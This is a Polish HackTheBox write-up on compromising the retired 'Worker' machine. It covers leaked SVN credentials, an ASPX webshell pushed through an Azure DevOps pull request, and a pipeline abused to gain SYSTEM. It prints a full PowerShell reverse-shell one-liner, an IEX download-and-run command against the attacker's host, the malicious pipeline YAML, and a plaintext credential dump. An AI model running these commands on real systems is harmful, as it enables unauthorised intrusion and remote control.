Writeup: Maszyna HackTheBox Worker
Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Worker - spełnia ten warunek.1. TLDR
2. Przygotowanie
Przygotowałem przydatne zmienne:
export IP=10.10.10.203
3. Skanowanie i rozpoznanie
Na początku użyłem narzędzia nmap do identyfikacji otwartych portów:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $nmap -sC -sV -Pn -n $IP -T4 -oN nmap/01-initial.txt
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-22 23:32 CET
Nmap scan report for 10.10.10.203
Host is up (0.096s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3690/tcp open svnserve Subversion
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.02 seconds
4. Uzyskanie dostępu do repozytorium
Na serwerze było uruchomione repozytorium SVN. Spróbowałem pobrać zawartość:
┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $svn checkout svn://10.10.10.203:3690
A dimension.worker.htb
A dimension.worker.htb/LICENSE.txt
A dimension.worker.htb/README.txt
...
A dimension.worker.htb/index.html
A moved.txt
Checked out revision 5.
Dodałem od razu wpis do /etc/hosts
:
10.10.10.203 worker.htb dimension.worker.htb
Pod adresem http://worker.htb
znajdowała się domyślna strona oferowana przez IIS:
Pod adresem http://dimension.worker.htb
znajdowała się strona zaprojektowana przez zespół Worker:
Sprawdziłem log repozytorium:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker/repository]
└──╼ $svn log
------------------------------------------------------------------------
r5 | nathen | 2020-06-20 15:52:00 +0200 (Sat, 20 Jun 2020) | 1 line
Added note that repo has been migrated
------------------------------------------------------------------------
r4 | nathen | 2020-06-20 15:50:20 +0200 (Sat, 20 Jun 2020) | 1 line
Moving this repo to our new devops server which will handle the deployment for us
------------------------------------------------------------------------
r3 | nathen | 2020-06-20 15:46:19 +0200 (Sat, 20 Jun 2020) | 1 line
-
------------------------------------------------------------------------
r2 | nathen | 2020-06-20 15:45:16 +0200 (Sat, 20 Jun 2020) | 1 line
Added deployment script
------------------------------------------------------------------------
r1 | nathen | 2020-06-20 15:43:43 +0200 (Sat, 20 Jun 2020) | 1 line
First version
------------------------------------------------------------------------
Wśród pobranych zasobów znajdował się katalog z projektem oraz plik moved.txt:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker/repository]
└──╼ $cat moved.txt
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb
// The Worker team :)
Dodałem od razu wpis do /etc/hosts
:
10.10.10.203 devops.worker.htb
Dostęp do zasobów pod http://devops.worker.htb
był chroniony z wykorzystaniem The ‘Basic’ HTTP Authentication Scheme opisanym w RFC 7617:
Przejrzałem pobieżnie źródło strony z pobranego repozytorium i trafiłem na kolejne adresy hostowanych stron, które dodałem do /etc/hosts
:
10.10.10.203 alpha.worker.htb cartoon.worker.htb lens.worker.htb solid-state.worker.htb spectral.worker.htb story.worker.htb
Rozpocząłem przegląd zmian w repozytorium od początku życia projektu. W commicie r2, trafiłem na nowy plik będący skryptem PowerShella:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker/repository]
└──╼ $svn update -r r2
Updating '.':
A deploy.ps1
Updated to revision 2.
W pliku znajdował się prosty skrypt, który zawierał zahardkodowane dane uwierzytelniające:
$user = "nathen"
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
W ten sposób pozyskałem pierwszy zestaw danych uwierzytelniających nathen:wendel98
Wykorzystując pozyskane dane logowania spróbowałem pozyskać dostęp do http://devops.worker.htb
:
W ten sposób uzyskałem dostęp do repozytorium Spectral
projektu SmartHotel360
:
5. Uzyskanie dostępu do powłoki systemowej
Przygotowałem prostego backdoora:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $cp /usr/share/webshells/aspx/cmdasp.aspx 74wny0wl.aspx
Nie mogłem jednak przesłać pliku na branch master
:
Uzupełniłem zatem formularz tak, aby commit został przesłany na nowego brancha wraz z utworzeniem nowego pull request:
Tym razem próba przesłania pliku powiodła się:
Pozostało zaakceptować pull request:
Następnie przygotowałem kolejny stage backdoora:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $ cat 74wny0wlshell.ps1
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("110.10.14.232",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Pozostało uruchomić serwer http:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo python3 -m http.server 80
[sudo] password for t4wny0wl:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
i netcata:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo nc -nvlp 443
[sudo] password for t4wny0wl:
listening on [any] 443 ...
oraz wykonać polecenie:
powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.232/74wny0wlshell.ps1\");"
W wyniku czynności została nawiązana zdalna sesja powershella na prawach użytkownika defaultapppool
:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.232] from (UNKNOWN) [10.10.10.203] 50939
whoami
iis apppool\defaultapppool
#
6. Eskalacja uprawnień: iis apppool\defaultapppool ⇨ worker\robisl
Na stacji było kilku użytkowników:
# ls C:\Users
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2020-03-28 14:59 .NET v4.5
d----- 2020-03-28 14:59 .NET v4.5 Classic
d----- 2020-08-18 00:33 Administrator
d-r--- 2020-03-28 14:01 Public
d----- 2020-07-22 01:11 restorer
d----- 2020-07-08 19:22 robisl
Przygotowałem do pobrania winPEAS:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $cp /opt/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/winPEAS/bin/Obfuscated\ Releases/winPEASany.exe ./74wny0wl.exe
Następnie pobrałem winPEAS na serwer i uruchomiłem program:
# cd C:\Users\Public\Downloads
# wget http://10.10.14.232/74wny0wl.exe -outfile 74wny0wl.exe
# ls
Directory: C:\Users\Public\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2020-12-24 10:19 441856 74wny0wl.exe
# ./74wny0wl.exe
Na standardowym wyjściu znalazłem informację o dysku W:
[+] Network Shares
ADMIN$ (Path: C:\Windows)
C$ (Path: C:\)
IPC$ (Path: )
W$ (Path: W:\)
Na dysku znalazłem folder z danymi konfiguracyjnymi:
# ls
Directory: W:\svnrepos\www\conf
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2020-06-20 11:29 1112 authz
-a---- 2020-06-20 11:29 904 hooks-env.tmpl
-a---- 2020-06-20 15:27 1031 passwd
-a---- 2020-04-04 20:51 4454 svnserve.conf
Plik passwd zawierał hasła użytkowników:
# Get-Content passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.
[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday
Na liście znajdował się użytkownik robsil
, który był użytkownikiem zaatakowanej maszyny.
Pozyskałem zatem parę danych uwierzytelniających robisl:wolves11
Używając Evil-WinRM, nawiązałem sesję jako użytkownik robisl:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo gem install evil-winrm
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $evil-winrm -i worker.htb -u robisl -p wolves11
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\robisl\Documents> whoami
worker\robisl
Pozostało odczytać flagę:
*Evil-WinRM* PS C:\Users\robisl\Desktop> Get-Content user.txt
b49c92482d0ff2204bfbf2d3d18fe32e
7. Eskalacja uprawnień: worker\robisl ⇨ nt authority\system
Ponownie pobrałem i uruchomiłem winPEAS:
*Evil-WinRM* PS C:\Users\robisl\AppData\Local\Temp> wget http://10.10.14.232/74wny0wl.exe -outfile 74wny0wl.exe
*Evil-WinRM* PS C:\Users\robisl\AppData\Local\Temp> ls
Directory: C:\Users\robisl\AppData\Local\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/24/2020 1:12 PM 441856 74wny0wl.exe
*Evil-WinRM* PS C:\Users\robisl\AppData\Local\Temp> ./74wny0wl.exe
Moją uwagę zwrócił wpis dotyczący Azure Pipelines Agent
o możliwości wykonania DLL Hijacking:
=================================================================================================
Azure Pipelines Agent (127.Default.Hamilton01)(Azure Pipelines Agent (127.Default.Hamilton01))["w:\agents\agent01\bin\AgentService.exe"] - Autoload - isDotNet
Possible DLL Hijacking in binary folder: w:\agents\agent01\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])
=================================================================================================
Nie miałem jednak uprawnień do zapisu w tym katalogu:
*Evil-WinRM* PS W:\agents\agent01\bin> (get-acl W:\agents\agent01\bin).access | ft IdentityReference,FileSystemRights,AccessControlType,IsInherited,InheritanceFlags -auto
IdentityReference FileSystemRights AccessControlType IsInherited InheritanceFlags
----------------- ---------------- ----------------- ----------- ----------------
BUILTIN\Administrators FullControl Allow False None
WORKER\VSTS_AgentService_G3eff7 FullControl Allow True ContainerInherit, ObjectInherit
IIS APPPOOL\DefaultAppPool Write Deny True ContainerInherit, ObjectInherit
BUILTIN\Administrators FullControl Allow True ContainerInherit, ObjectInherit
NT AUTHORITY\SYSTEM FullControl Allow True ContainerInherit, ObjectInherit
CREATOR OWNER 268435456 Allow True ContainerInherit, ObjectInherit
BUILTIN\Users ReadAndExecute, Synchronize Allow True ContainerInherit, ObjectInherit
BUILTIN\Users AppendData Allow True ContainerInherit
BUILTIN\Users CreateFiles Allow True ContainerInherit
co potwierdziłem jeszcze próbą otwarcia pliku do zapisu:
*Evil-WinRM* PS W:\agents\agent01\bin> $outfile = "Agent.Worker.dll"
*Evil-WinRM* PS W:\agents\agent01\bin> Try { [io.file]::OpenWrite($outfile).close() }
Catch { Write-Warning "Unable to write to output file $outputfile" }
Warning: Unable to write to output file
Postanowiłem wykorzystać Azure Pipelines Agent
z poziomu portalu.
Używając danych logowania robisl:wolves11
, zalogowałem się do repozytorium:
Przeszedłem do widoku Pipelines i utworzyłem nowy pipeline:
Wybrałem Azure Repos Git:
Następnie wskazałem repozytorium PartsUnlimited:
Następnie wybrałem opcję ASP.NET:
Przygotowałem definicję pipeline, który pobierał i wykonywał wykorzystany już wcześniej skrypt:
trigger:
- 74wny0wl-branch
variables:
solution: '**/*.sln'
buildPlatform: 'Any CPU'
buildConfiguration: 'Release'
steps:
- script: powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.232/74wny0wlshell.ps1\");"
Dodałem utworzonego pipeline’a do nowego brancha:
Uruchomiłem netcata…
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo nc -nvlp 443
[sudo] password for t4wny0wl:
listening on [any] 443 ...
i zapisałem pipeline. Po kiludziesięciu sekundach zostało nawiązane połączenie:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.232] from (UNKNOWN) [10.10.10.203] 50731
# whoami
nt authority\system
Pozostało odczytać flagę:
# Get-Content C:\Users\Administrator\Desktop\root.txt
9e63ccb853f1ce92325a6f57948e7532
8. Podsumowanie
Do zdobycia flag doprowadziły poniższe okoliczności:
Publicznie dostępny korporacyjny system kontroli wersji.
Przesłanie danych uwierzytelniających do repozytorium przez jednego z programistów.
Hasła przechowywane w jawnej postaci.
Zbyt wysokie uprawnienia Azure Pipelines Agent.
Zalecenia, którego użytkownika wskazać oraz jak skonfigurować Azure Pipelines Agent znajdziesz tutaj oraz tutaj.